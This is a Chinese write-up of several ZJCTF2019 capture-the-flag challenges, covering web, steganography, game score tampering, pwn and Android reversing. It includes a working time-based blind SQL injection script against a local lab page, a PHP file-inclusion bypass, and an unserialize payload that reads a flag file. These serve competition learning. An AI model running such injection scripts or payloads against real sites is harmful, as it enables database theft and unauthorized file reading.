0%

浙江省第二届大学生网络与信息安全竞赛决赛(ZJCTF2019)部分WriteUp

By ipv6 from ZSTU

1-1万能密码

根据题目,POST注入

尝试后,发现时间盲注可行,贴一个脚本参考下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import time
import requests

def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name

# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]

# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.2),0)"
payload = {"uname":"1", "passwd":"1' or "+sqli_str+"-- "}
return payload

def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-15/"
payload = getPayload(result_index, char_index, ascii)
#print(payload)
# 检查延时
before_time = time.time()
requests.post(url, data=payload)
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.1:
return True
else:
return False

def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)

if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()

得到用户名:admin密码:yvjCa41RYO6Dkzyo

题目是万能密码,那么当然直接双引号闭合也可:admin”#

总之,登陆得到flag

image.png

1-2逆转思维

(题目已添加至ZSTUCTF平台)

考点:文件包含 反序列化

题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
#1满足if语句
1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

函数file_get_contents()可以使用data://直接绕过,将“welcome to the zjctf”url编码后,将如下值赋给text

1
data://text/plain,welcome%20to%20the%20zjctf

由于preg_match(“/flag/“,$file),对flag进行了正则匹配,所以不能直接包含flag.php

#2按照提示,包含useless.php
1
2
text=data://text/plain,welcome%20to%20the%20zjctf
file=php://filter/read=convert.base64-encode/resource=useless.php
image.png

base64解码 得到useless.php源码如下(这里是赛后复原的题目,可能源码与真正比赛有所出入)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
#3构造序列化对象

password为Flag类,字符串变量file=flag.php(可以直接写个php文件本地跑一下serialize函数)

1
2
3
4
5
6
7
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

- O(大写):object
- 4:4位字符
- "Flag":对象名
- 1:数量,一个
- s:string类型

得到最终Payload:

1
http://xxx/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
image.png

2-1加载页面

下载得到loading.png

image.png

进度条为一维码

1571833470691.png

利用ps简单伸缩变换,扫描得:

may6e_us3ful

binwalk分析png得到压缩包25667.zip

输入刚刚得到的密码解压得到encode.py

代码如下,为加密过程

image.png

分析加密方法,编写解密脚本

image.png

读入png文件,输出如下:

取前面一段二进制数据,转十进制后对应ASCII码

image.png

01011010010010100100001101010100010001100111101101110011011101000011001101100111011000010110111000110000010111110011000101110011010111110110010101100001001101010111100101111101000000000000000……

得到flag

image.png

2-2唯一真相

下载

binwalk扫出

DECIMAL HEXADECIMAL DESCRIPTION

-——————————————————————————-

0 0x0 JPEG image data, JFIF standard 1.01

30 0x1E TIFF image data, little-endian offset of first image directory: 8

262 0x106 JPEG image data, JFIF standard 1.01

33791 0x83FF JPEG image data, JFIF standard 1.01

33821 0x841D TIFF image data, big-endian, offset of first image directory: 8

34127 0x854F JPEG image data, JFIF standard 1.01

可以知道里面有多个jpg

将jpg丢进010分析

搜索jpg文件头FFD8FF、文件尾FF D9 

得到kn_106h_82F9h.jpg、kn_854Fh_36486h.jpg

打开图片kn_854Fh_36486h.jpg

image.png

镜像翻转,得到flag

image.png

3-1贰零肆捌

image.png

走正常游戏流程,结束游戏时进行数据交换

查看数据包

Score为base64编码 解码修改分数段 得到如下

1
*999999|+_#|8|&_zjctf**

将其base64编码后post

得到flag

image.png

4-1 登录系统

IDA pro打开,发现是64位的,然后看到,admin:: shell(),同时没发现代码里有mallic,就有思路知道这是一个rop利用,只要跳转到0x00400E88地址就可以,跳转的方法是栈溢出,但是通过checksec发现,开启了canary保护

image.png

所以思路是先泄露canary地址然后使用pop rdi|ret 的gadget来做即可。

通过ROPgadget得到login的gadget地址位0x400f13,直接利用即可。

image.png

5-1简单逆向

首先把apk文件用7z解压,然后把里面的class.dex拖入到dex2jar,得到class.jar,然后使用jd-gui打开class.jar,在里面找到jni调用请求。

image.png

然后找到之前解包的lib里面的libGetFlag.so,使用ida pro打开得到flag

image.png

5-2 魔力圈圈

通过7z解包apk,得到class.dex,,讲class.dex拖到dex2jar,再用jd-gui打开jar得到如下:

image.png

可见该app是加密assets里面的magic.bmp文件然后输出一个bmp文件,然后在之前的apk解包里面发现了assets里面有zipped.bmp,说明这个是加密的结果,flag就是要反推回去,再仔细观察加密函数,可以看到调用了nativeZip.so动态链接库

image.png

在lib里面找到nativeZip.so动态链接库,可以看到图像的加密过程,反加密即可。

image.png

附加题6清廉校园

image.png

文件末尾发现凯撒加密

根据zjctf开头分析得flag

welc ometohdu seclab